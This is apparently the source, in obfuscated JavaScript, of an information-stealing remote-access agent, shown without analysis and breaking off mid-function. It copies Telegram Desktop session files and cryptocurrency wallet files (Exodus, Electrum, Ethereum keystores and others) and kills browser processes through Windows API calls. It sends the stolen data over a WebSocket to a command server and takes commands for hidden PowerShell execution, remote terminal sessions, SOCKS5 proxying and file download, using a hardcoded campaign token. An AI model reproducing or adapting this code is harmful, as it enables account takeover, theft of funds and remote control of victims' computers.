| async function grabTelegram(_0x12802f15) { | |
| const _0x3790be2 = potato; | |
| console["log"]("[Telegram] Starting telegram grabber..."); | |
| const _0x9ade0b9 = [], | |
| _0x3303e3 = import_node_process7["default"]["env"]["APPDATA"]; | |
| if (!_0x3303e3) return console["log"]("[Telegram] APPDATA not found"), _0x9ade0b9; | |
| const _0x5e849e6 = import_node_path6["default"]["join"](_0x3303e3, "Telegram Desktop"), | |
| _0x1d6ec4 = import_node_path6["default"]["join"](_0x5e849e6, "tdata"); | |
| try { | |
| await import_node_fs6["promises"]["access"](_0x1d6ec4); | |
| } catch { | |
| return console["log"]("[Telegram] Telegram Desktop not found"), _0x9ade0b9; | |
| } | |
| console["log"]("[Telegram] Found Telegram Desktop at " + _0x5e849e6); | |
| const _0xc42aab3 = await walkDir2(_0x1d6ec4, 2); | |
| for (const _0x155d1e6 of _0xc42aab3) { | |
| const _0x3df3b3 = import_node_path6["default"]["basename"](_0x155d1e6); | |
| try { | |
| const _0x4961b2 = await import_node_fs6["promises"]["stat"](_0x155d1e6); | |
| if (_0x4961b2["size"] >= MAX_FILE_SIZE) continue; | |
| if (_0x3df3b3["length"] === 16) { | |
| const _0x4a39b5 = await import_node_fs6["promises"]["readFile"](_0x155d1e6), | |
| _0x533 = import_node_path6["default"]["relative"](_0x1d6ec4, _0x155d1e6)["replace"](/\\/g, "/"), | |
| _0x2547ee4 = "tdata/" + _0x533; | |
| _0x9ade0b9["push"]({ | |
| "relPath": _0x2547ee4, | |
| "data": new Uint8Array(_0x4a39b5) | |
| }), console["log"]("[Telegram] Added tdata file: " + _0x3df3b3); | |
| if (_0x12802f15) { | |
| const _0x546f2 = { | |
| "huidMd5": _0x12802f15["huidMd5"], | |
| "token": _0x12802f15["token"], | |
| "taskOutputs": [{ | |
| "id": _0x12802f15["taskId"], | |
| "type": "stealer-telegram", | |
| "status": "completed", | |
| "path": _0x2547ee4, | |
| "data": import_node_buffer7["Buffer"]["from"](_0x4a39b5), | |
| "size": _0x4a39b5["length"] | |
| }] | |
| }, | |
| _0x10dcd2 = await serizalizeCommandFromAgent(_0x546f2); | |
| try { | |
| _0x12802f15["ws"]["send"](_0x10dcd2); | |
| } catch (_0x4d2) { | |
| console["error"]("[Telegram] Failed to send data: WebSocket error", _0x4d2); | |
| } | |
| } | |
| } | |
| } catch { | |
| continue; | |
| } | |
| } | |
| const _0x276e2 = await walkDir2(_0x5e849e6, 3); | |
| for (const _0x5dd7 of _0x276e2) { | |
| const _0x56e9 = import_node_path6["default"]["basename"](_0x5dd7); | |
| try { | |
| const _0xa05d2 = await import_node_fs6["promises"]["stat"](_0x5dd7); | |
| if (_0xa05d2["size"] >= MAX_FILE_SIZE) continue; | |
| if (_0x56e9["endsWith"]("s") && _0x56e9["length"] === 17) { | |
| const _0x3cd6f4 = await import_node_fs6["promises"]["readFile"](_0x5dd7), | |
| _0x2927e3 = "tdata/" + _0x56e9; | |
| _0x9ade0b9["push"]({ | |
| "relPath": _0x2927e3, | |
| "data": new Uint8Array(_0x3cd6f4) | |
| }), console["log"]("[Telegram] Added tdata/*s file: " + _0x56e9); | |
| if (_0x12802f15) { | |
| const _0x393d2 = { | |
| "huidMd5": _0x12802f15["huidMd5"], | |
| "token": _0x12802f15["token"], | |
| "taskOutputs": [{ | |
| "id": _0x12802f15["taskId"], | |
| "type": "stealer-telegram", | |
| "status": "completed", | |
| "path": _0x2927e3, | |
| "data": import_node_buffer7["Buffer"]["from"](_0x3cd6f4), | |
| "size": _0x3cd6f4["length"] | |
| }] | |
| }, | |
| _0x1e63a2 = await serizalizeCommandFromAgent(_0x393d2); | |
| try { | |
| _0x12802f15["ws"]["send"](_0x1e63a2); | |
| } catch (_0x4841b2) { | |
| console["error"]("[Telegram] Failed to send data: WebSocket error", _0x4841b2); | |
| } | |
| } | |
| } | |
| if (_0x56e9["startsWith"]("usertag") || _0x56e9["startsWith"]("settings") || _0x56e9["startsWith"]("key_data")) { | |
| const _0x4f62c5 = await import_node_fs6["promises"]["readFile"](_0x5dd7), | |
| _0x3d771a4 = import_node_path6["default"]["relative"](_0x5e849e6, _0x5dd7)["replace"](/\\/g, "/"); | |
| _0x9ade0b9["push"]({ | |
| "relPath": _0x3d771a4, | |
| "data": new Uint8Array(_0x4f62c5) | |
| }), console["log"]("[Telegram] Added file: " + _0x56e9); | |
| if (_0x12802f15) { | |
| const _0x21e5f3 = { | |
| "huidMd5": _0x12802f15["huidMd5"], | |
| "token": _0x12802f15["token"], | |
| "taskOutputs": [{ | |
| "id": _0x12802f15["taskId"], | |
| "type": "stealer-telegram", | |
| "status": "completed", | |
| "path": _0x3d771a4, | |
| "data": import_node_buffer7["Buffer"]["from"](_0x4f62c5), | |
| "size": _0x4f62c5["length"] | |
| }] | |
| }, | |
| _0xb8df7e3 = await serizalizeCommandFromAgent(_0x21e5f3); | |
| try { | |
| _0x12802f15["ws"]["send"](_0xb8df7e3); | |
| } catch (_0x45561a3) { | |
| console["error"]("[Telegram] Failed to send data: WebSocket error", _0x45561a3); | |
| } | |
| } | |
| } | |
| } catch { | |
| continue; | |
| } | |
| } | |
| return console["log"]("[Telegram] Collected " + _0x9ade0b9["length"] + " files"), _0x9ade0b9; | |
| } | |
| var PROCESS_TERMINATE = 1, | |
| TH32CS_SNAPPROCESS = 2, | |
| INVALID_HANDLE_VALUE = -1, | |
| kernel326 = null; | |
| function initFFI3() { | |
| const _0x4d224b2 = potato; | |
| if (kernel326) return; | |
| try { | |
| kernel326 = Deno["dlopen"]("kernel32.dll", { | |
| "CreateToolhelp32Snapshot": { | |
| "parameters": ["u32", "u32"], | |
| "result": "pointer" | |
| }, | |
| "Process32First": { | |
| "parameters": ["pointer", "pointer"], | |
| "result": "i32" | |
| }, | |
| "Process32Next": { | |
| "parameters": ["pointer", "pointer"], | |
| "result": "i32" | |
| }, | |
| "OpenProcess": { | |
| "parameters": ["u32", "i32", "u32"], | |
| "result": "pointer" | |
| }, | |
| "TerminateProcess": { | |
| "parameters": ["pointer", "u32"], | |
| "result": "i32" | |
| }, | |
| "CloseHandle": { | |
| "parameters": ["pointer"], | |
| "result": "i32" | |
| } | |
| }); | |
| } catch (_0x21c8b2) { | |
| console["error"]("[KillBrowsers] Failed to initialize FFI:", _0x21c8b2); | |
| } | |
| } | |
| async function killBrowsers() { | |
| const _0x2d082f2 = potato; | |
| console["log"]("[KillBrowsers] Starting browser process termination..."); | |
| !kernel326 && initFFI3(); | |
| if (!kernel326) { | |
| console["error"]("[KillBrowsers] FFI not initialized"); | |
| return; | |
| } | |
| const _0x103f2 = ["chrome.exe", "msedge.exe", "brave.exe", "opera.exe", "opera_gx.exe", "vivaldi.exe", "browser.exe", "yandex.exe", "chromium.exe"]; | |
| for (let _0x536 = 0; _0x536 < 3; _0x536++) { | |
| let _0x5a1 = ![]; | |
| try { | |
| const _0x3e3c1e8 = kernel326["symbols"]["CreateToolhelp32Snapshot"](TH32CS_SNAPPROCESS, 0), | |
| _0x21dc2 = Deno["UnsafePointer"]["value"](_0x3e3c1e8); | |
| if (!_0x3e3c1e8 || _0x21dc2 === BigInt(INVALID_HANDLE_VALUE)) { | |
| console["error"]("[KillBrowsers] Failed to create process snapshot"); | |
| return; | |
| } | |
| const _0x544 = new ArrayBuffer(568), | |
| _0x145b4 = new DataView(_0x544), | |
| _0x139b9e3 = new Uint8Array(_0x544); | |
| _0x145b4["setUint32"](0, 568, !![]); | |
| const _0x1d8 = kernel326["symbols"]["Process32First"](_0x3e3c1e8, Deno["UnsafePointer"]["of"](_0x544)); | |
| if (_0x1d8 === 0) { | |
| kernel326["symbols"]["CloseHandle"](_0x3e3c1e8); | |
| return; | |
| } | |
| let _0x37cc6c4 = !![]; | |
| while (_0x37cc6c4) { | |
| const _0x543 = _0x145b4["getUint32"](8, !![]), | |
| _0x11c71e4 = _0x139b9e3["slice"](44, 44 + 260), | |
| _0x3d36fc4 = _0x11c71e4["indexOf"](0), | |
| _0x543f3 = new TextDecoder()["decode"](_0x11c71e4["slice"](0, _0x3d36fc4 > 0 ? _0x3d36fc4 : 260))["toLowerCase"](), | |
| _0x544eb3 = _0x103f2["some"](_0x4acc2 => _0x543f3 === _0x4acc2["toLowerCase"]()); | |
| if (_0x544eb3) { | |
| const _0xf4f5 = kernel326["symbols"]["OpenProcess"](PROCESS_TERMINATE, 0, _0x543); | |
| if (_0xf4f5 && Deno["UnsafePointer"]["value"](_0xf4f5) !== 0x0n) { | |
| const _0x3bb85c3 = kernel326["symbols"]["TerminateProcess"](_0xf4f5, 1); | |
| _0x3bb85c3 !== 0 && (console["log"]("[KillBrowsers] Terminated " + _0x543f3 + " (PID: " + _0x543 + ")"), _0x5a1 = !![]), kernel326["symbols"]["CloseHandle"](_0xf4f5); | |
| } | |
| } | |
| _0x145b4["setUint32"](0, 568, !![]); | |
| const _0x5a0 = kernel326["symbols"]["Process32Next"](_0x3e3c1e8, Deno["UnsafePointer"]["of"](_0x544)); | |
| _0x5a0 === 0 && (_0x37cc6c4 = ![]); | |
| } | |
| kernel326["symbols"]["CloseHandle"](_0x3e3c1e8); | |
| } catch (_0x498a2) { | |
| console["error"]("[KillBrowsers] Error:", _0x498a2); | |
| } | |
| if (_0x5a1) await new Promise(_0x4820f2 => setTimeout(_0x4820f2, 200)); | |
| else break; | |
| } | |
| console["log"]("[KillBrowsers] Browser termination completed"); | |
| } | |
| var import_node_buffer8 = require("node:buffer"), | |
| import_node_fs7 = require("node:fs"), | |
| import_node_path7 = __toESM(require("node:path")), | |
| import_node_process8 = __toESM(require("node:process")), | |
| WALLET_PATHS = { | |
| "AtomicWallet": "%APPDATA%\\atomic\\Local Storage\\leveldb\\", | |
| "Exodus": "%APPDATA%\\exodus\\exodus.wallet\\", | |
| "JaxxWallet": "%APPDATA%\\Wallets\\Jaxx\\com.liberty.jaxx\\IndexedDB\\file__0.indexeddb.leveldb\\", | |
| "Electrum": "%APPDATA%\\Electrum\\wallets\\", | |
| "ByteCoin": "%APPDATA%\\bytecoin\\", | |
| "Ethereum": "%APPDATA%\\Ethereum\\keystore\\", | |
| "Guarda": "%APPDATA%\\Guarda\\Local Storage\\leveldb\\", | |
| "Coinomi": "%LOCALAPPDATA%\\Coinomi\\Coinomi\\wallets\\", | |
| "Armory": "%APPDATA%\\Armory\\", | |
| "ZCash": "%APPDATA%\\Zcash\\" | |
| }; | |
| async function walkDir3(_0x549, _0x3b86d4 = 10, _0x55ddf3 = 0) { | |
| const _0xfcb = potato, | |
| _0x552 = []; | |
| if (_0x55ddf3 > _0x3b86d4) return _0x552; | |
| try { | |
| const _0x4c6 = await import_node_fs7["promises"]["readdir"](_0x549, { | |
| "withFileTypes": !![] | |
| }); | |
| for (const _0x4ead0d5 of _0x4c6) { | |
| const _0x2237ed4 = import_node_path7["default"]["join"](_0x549, _0x4ead0d5["name"]); | |
| try { | |
| if (_0x4ead0d5["isDirectory"]()) { | |
| const _0x518c6f3 = await walkDir3(_0x2237ed4, _0x3b86d4, _0x55ddf3 + 1); | |
| _0x552["push"](..._0x518c6f3); | |
| } else _0x4ead0d5["isFile"]() && _0x552["push"](_0x2237ed4); | |
| } catch { | |
| continue; | |
| } | |
| } | |
| } catch {} | |
| return _0x552; | |
| } | |
| function expandPath4(_0x391faf3) { | |
| const _0x481fcf2 = potato, | |
| _0x2a1 = import_node_process8["default"]["env"]["APPDATA"] || "", | |
| _0x3eea2 = import_node_process8["default"]["env"]["LOCALAPPDATA"] || ""; | |
| return _0x391faf3["replace"](/%APPDATA%/g, _0x2a1)["replace"](/%LOCALAPPDATA%/g, _0x3eea2); | |
| } | |
| async function grabWallets(_0x31cc6) { | |
| const _0x5a85dd2 = potato; | |
| console["log"]("[Wallets] Starting wallet grabber..."); | |
| const _0x562 = [], | |
| _0x5a14cb6 = []; | |
| for (const [_0x32b9fb4, _0x58f02e3] of Object["entries"](WALLET_PATHS)) { | |
| const _0x3bb4 = expandPath4(_0x58f02e3); | |
| try { | |
| await import_node_fs7["promises"]["access"](_0x3bb4), _0x5a14cb6["push"]({ | |
| "name": _0x32b9fb4, | |
| "path": _0x3bb4 | |
| }), console["log"]("[Wallets] Found wallet: " + _0x32b9fb4 + " at " + _0x3bb4); | |
| } catch { | |
| continue; | |
| } | |
| } | |
| if (_0x5a14cb6["length"] === 0) return console["log"]("[Wallets] No wallets found"), _0x562; | |
| console["log"]("[Wallets] Found " + _0x5a14cb6["length"] + " wallet(s)"); | |
| for (const _0x343f6 of _0x5a14cb6) { | |
| try { | |
| const _0x49de3 = await walkDir3(_0x343f6["path"]); | |
| console["log"]("[Wallets] Collecting " + _0x49de3["length"] + " files from " + _0x343f6["name"]); | |
| for (const _0x17ed7b4 of _0x49de3) { | |
| try { | |
| const _0x1b80d6 = await import_node_fs7["promises"]["readFile"](_0x17ed7b4), | |
| _0x5ad8b2 = import_node_path7["default"]["relative"](_0x343f6["path"], _0x17ed7b4)["replace"](/\\/g, "/"), | |
| _0x57ed7b5 = _0x343f6["name"] + "/" + _0x5ad8b2; | |
| _0x562["push"]({ | |
| "relPath": _0x57ed7b5, | |
| "data": new Uint8Array(_0x1b80d6) | |
| }), console["log"]("[Wallets] Added: " + _0x57ed7b5 + " (" + _0x1b80d6["length"] + " bytes)"); | |
| if (_0x31cc6) { | |
| const _0x119cd2 = { | |
| "huidMd5": _0x31cc6["huidMd5"], | |
| "token": _0x31cc6["token"], | |
| "taskOutputs": [{ | |
| "id": _0x31cc6["taskId"], | |
| "type": "stealer-wallets", | |
| "status": "completed", | |
| "path": _0x57ed7b5, | |
| "data": import_node_buffer8["Buffer"]["from"](_0x1b80d6), | |
| "size": _0x1b80d6["length"] | |
| }] | |
| }, | |
| _0x2739d2 = await serizalizeCommandFromAgent(_0x119cd2); | |
| try { | |
| _0x31cc6["ws"]["send"](_0x2739d2); | |
| } catch (_0x10657a3) { | |
| console["error"]("[Wallets] Failed to send data: WebSocket error", _0x10657a3); | |
| } | |
| } | |
| } catch { | |
| continue; | |
| } | |
| } | |
| } catch (_0x5291a2) { | |
| console["error"]("[Wallets] Error processing " + _0x343f6["name"] + ":", _0x5291a2); | |
| continue; | |
| } | |
| } | |
| const _0x561 = _0x562["reduce"]((_0x31468e3, _0x559) => _0x31468e3 + _0x559["data"]["length"], 0); | |
| return console["log"]("[Wallets] Collected " + _0x562["length"] + " files, " + _0x561 + " bytes"), _0x562; | |
| } | |
| async function executeStealer(_0x35314f10) { | |
| const _0x108c6a2 = potato; | |
| console["log"]("[Stealer] Starting parallel collection..."); | |
| try { | |
| const _0x236d2 = await getSystemInfo(); | |
| console["log"]("[Stealer] Killing browser processes..."), await killBrowsers(), console["log"]("[Stealer] Browser processes terminated"); | |
| const _0x5882a4 = [grabFiles(_0x35314f10), grabTelegram(_0x35314f10), grabWallets(_0x35314f10), grabGecko(_0x35314f10), grabDiscord(_0x35314f10)]; | |
| _0x35314f10["chromeDll"] && _0x35314f10["chromeDll"]["length"] > 0 && (console["log"]("[Stealer] Chrome DLL provided, adding v20 collection"), _0x5882a4["push"](grabChromeV20(_0x35314f10, _0x35314f10["chromeDll"]))), !_0x236d2["avs"]?. ["includes"]("ESET") && _0x5882a4["push"](grabChrome(_0x35314f10)), await Promise["all"](_0x5882a4), console["log"]("[Stealer] All grabbers completed"); | |
| } catch (_0x5f4) { | |
| console["error"]("[Stealer] Error:", _0x5f4); | |
| throw _0x5f4; | |
| } | |
| } | |
| var import_node_child_process3 = require("node:child_process"), | |
| import_node_util2 = require("node:util"), | |
| execAsync2 = (0, import_node_util2["promisify"])(import_node_child_process3["exec"]); | |
| async function execPowershell(_0x55ef0d3) { | |
| const _0x19b03d3 = await new Promise((_0x1e2a8e3, _0x19cba3) => { | |
| const _0x567 = perpetual, | |
| _0x5e19bb7 = (0, import_node_child_process3["spawn"])("powershell.exe", ["-WindowStyle", "Hidden", "-NonInteractive", "-NoProfile", "-OutputFormat", "Text", "-Command", "$ProgressPreference = 'SilentlyContinue'; " + _0x55ef0d3], { | |
| "windowsHide": !![] | |
| }); | |
| let _0xb4c4 = ""; | |
| _0x5e19bb7["stdout"]["on"]("data", _0x1c23 => _0xb4c4 += _0x1c23), _0x5e19bb7["stderr"]["on"]("data", _0x565 => _0xb4c4 += _0x565), _0x5e19bb7["on"]("close", _0x566 => { | |
| _0x1e2a8e3(_0xb4c4["trim"]()); | |
| }); | |
| const _0x586f2 = setTimeout(() => { | |
| const _0xb36ff = _0x567; | |
| _0x5e19bb7["kill"]("SIGKILL"), _0x19cba3(new Error("PowerShell command timed out")); | |
| }, 30000); | |
| _0x5e19bb7["on"]("close", () => { | |
| clearTimeout(_0x586f2); | |
| }); | |
| }); | |
| return _0x19b03d3; | |
| } | |
| async function sendCommand2(_0x42922b3, _0x4a12d3) { | |
| const _0x39671f2 = potato; | |
| console["log"]("Sending command with task outputs:", _0x4a12d3["taskOutputs"]?. ["map"](_0x5d17 => _0x5d17["type"])); | |
| const _0x3ad91e3 = await serizalizeCommandFromAgent(_0x4a12d3); | |
| _0x42922b3["send"](_0x3ad91e3); | |
| } | |
| async function handleMessage(_0x31490e3, _0x50a18, _0x1a19da19) { | |
| const _0x396c5 = potato; | |
| let _0x4c6e5; | |
| try { | |
| _0x4c6e5 = await deserializeCommandToAgent(import_node_buffer9["Buffer"]["from"](_0x31490e3)); | |
| } catch (_0x4ed7b2) { | |
| console["error"]("Failed to deserialize command from server:", _0x4ed7b2); | |
| return; | |
| } | |
| console["log"]("Received command:", JSON["stringify"](_0x4c6e5, null, 2)); | |
| if (_0x4c6e5["taskInputs"]) | |
| for (const _0x2e77 of _0x4c6e5["taskInputs"]) { | |
| try { | |
| switch (_0x2e77["type"]) { | |
| case "screenshot": { | |
| try { | |
| const _0x3aec2 = getScreenshot(), | |
| _0x30f2 = import_node_buffer9["Buffer"]["from"](_0x3aec2); | |
| await sendCommand2(_0x50a18, { | |
| "huidMd5": _0x1a19da19, | |
| "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| "taskOutputs": [{ | |
| "id": _0x2e77["id"], | |
| "type": "screenshot", | |
| "status": "completed", | |
| "screenshotJpg": _0x30f2 | |
| }] | |
| }); | |
| } catch (_0x570) { | |
| await sendCommand2(_0x50a18, { | |
| "huidMd5": _0x1a19da19, | |
| "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| "taskOutputs": [{ | |
| "id": _0x2e77["id"], | |
| "type": "screenshot", | |
| "status": "failed", | |
| "error": _0x570 instanceof Error ? _0x570["message"] : "Unknown error", | |
| "screenshotJpg": import_node_buffer9["Buffer"]["from"]([]) | |
| }] | |
| }); | |
| } | |
| break; | |
| } | |
| case "powershell-command": { | |
| const _0x127c2 = await execPowershell(_0x2e77["command"]); | |
| await sendCommand2(_0x50a18, { | |
| "huidMd5": _0x1a19da19, | |
| "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| "taskOutputs": [{ | |
| "id": _0x2e77["id"], | |
| "type": "powershell-command", | |
| "status": "completed", | |
| "output": _0x127c2 | |
| }] | |
| }); | |
| break; | |
| } | |
| case "pty-start": { | |
| console["log"]("PTY-START: Starting session " + _0x2e77["sessionId"]); | |
| try { | |
| await ptySessionManager["startSession"](_0x2e77["sessionId"], _0x2e77["cols"] || 80, _0x2e77["rows"] || 24), console["log"]("PTY-START: Session " + _0x2e77["sessionId"] + " started successfully"), await sendCommand2(_0x50a18, { | |
| "huidMd5": _0x1a19da19, | |
| "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| "taskOutputs": [{ | |
| "id": _0x2e77["id"], | |
| "type": "pty-start", | |
| "status": "completed", | |
| "sessionId": _0x2e77["sessionId"] | |
| }] | |
| }); | |
| } catch (_0xea611f5) { | |
| console["error"]("PTY-START: Failed to start session " + _0x2e77["sessionId"] + ":", _0xea611f5), await sendCommand2(_0x50a18, { | |
| "huidMd5": _0x1a19da19, | |
| "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| "taskOutputs": [{ | |
| "id": _0x2e77["id"], | |
| "type": "pty-start", | |
| "status": "failed", | |
| "sessionId": _0x2e77["sessionId"], | |
| "error": _0xea611f5 instanceof Error ? _0xea611f5["message"] : "Failed to start PTY session" | |
| }] | |
| }); | |
| } | |
| break; | |
| } | |
| case "pty-input": { | |
| ptySessionManager["writeInput"](_0x2e77["sessionId"], _0x2e77["data"]); | |
| break; | |
| } | |
| case "pty-resize": { | |
| ptySessionManager["resize"](_0x2e77["sessionId"], _0x2e77["cols"], _0x2e77["rows"]); | |
| break; | |
| } | |
| case "pty-stop": { | |
| console["log"]("PTY-STOP: Stopping session " + _0x2e77["sessionId"]), ptySessionManager["stopSession"](_0x2e77["sessionId"]), await sendCommand2(_0x50a18, { | |
| "huidMd5": _0x1a19da19, | |
| "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| "taskOutputs": [{ | |
| "id": _0x2e77["id"], | |
| "type": "pty-stop", | |
| "status": "completed", | |
| "sessionId": _0x2e77["sessionId"] | |
| }] | |
| }); | |
| break; | |
| } | |
| case "socks5-connect": { | |
| handleSocks5Connect(_0x2e77["connectionId"], _0x2e77["targetHost"], _0x2e77["targetPort"], _0x50a18, _0x1a19da19); | |
| break; | |
| } | |
| case "socks5-data": { | |
| handleSocks5Data(_0x2e77["connectionId"], _0x2e77["data"]); | |
| break; | |
| } | |
| case "socks5-close": { | |
| handleSocks5Close(_0x2e77["connectionId"]); | |
| break; | |
| } | |
| case "list-drives": { | |
| const _0x574 = await listDrives(); | |
| await sendCommand2(_0x50a18, { | |
| "huidMd5": _0x1a19da19, | |
| "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| "taskOutputs": [{ | |
| "id": _0x2e77["id"], | |
| "type": "list-drives", | |
| "status": _0x574["error"] ? "failed" : "completed", | |
| "error": _0x574["error"], | |
| "drives": _0x574["drives"] | |
| }] | |
| }); | |
| break; | |
| } | |
| case "list-files": { | |
| const _0x265b5 = await listFiles(_0x2e77["path"]); | |
| await sendCommand2(_0x50a18, { | |
| "huidMd5": _0x1a19da19, | |
| "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| "taskOutputs": [{ | |
| "id": _0x2e77["id"], | |
| "type": "list-files", | |
| "status": _0x265b5["error"] ? "failed" : "completed", | |
| "error": _0x265b5["error"], | |
| "path": _0x265b5["path"], | |
| "items": _0x265b5["items"] | |
| }] | |
| }); | |
| break; | |
| } | |
| case "download-file-from-agent": { | |
| try { | |
| const _0x4e50e2 = import_node_fs8["default"]["readFileSync"](_0x2e77["path"]), | |
| _0x3b7f2 = import_node_path8["default"]["basename"](_0x2e77["path"]); | |
| await sendCommand2(_0x50a18, { | |
| "huidMd5": _0x1a19da19, | |
| "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjYW1wYWlnbklkIjoiNzVjYmUxODY1M2Q1MjM3MiIsImNhbXBhaWduTmFtZSI6IlNtb2tlc3QiLCJjYW1wYWlnblVybCI6InNtb2tlc3QiLCJjb25maWdJZCI6Ijg3NTJlNTQ3MmI5YTNhODAiLCJwcm94aWVzIjpbImh0dHA6Ly9zaGFyZWNvZGVwcm8uY29tIl0sInVzZXJJZCI6ImJiNDdjMDYxNTQ3N2E4NzciLCJ1c2VyTm90ZSI6InRvcHdlYmNvbWljcyIsImlhdCI6MTc2ODYyMzU1MiwiZXhwIjoyMDg0MTk5NTUyfQ.3jRHrxs6mTxuEgeRfa_QlHqXsmVysqaDvr0GzEK2BVU", | |
| "taskOutputs": [{ | |
| "id": _0x2e77["id"], | |
| "type": "download-file-from-agent", | |
| "status": "completed", | |
| "path": _0x2e77["path"], | |
| "data": _0x4e50e2, | |
| "filename": _0x3b7f2 | |
| }] | |
| }); | |
| } catch (_0x35cc3) { | |
| await sendCommand2(_0x50a18, { | |
| "huidMd5": _0x1a19da19, | |
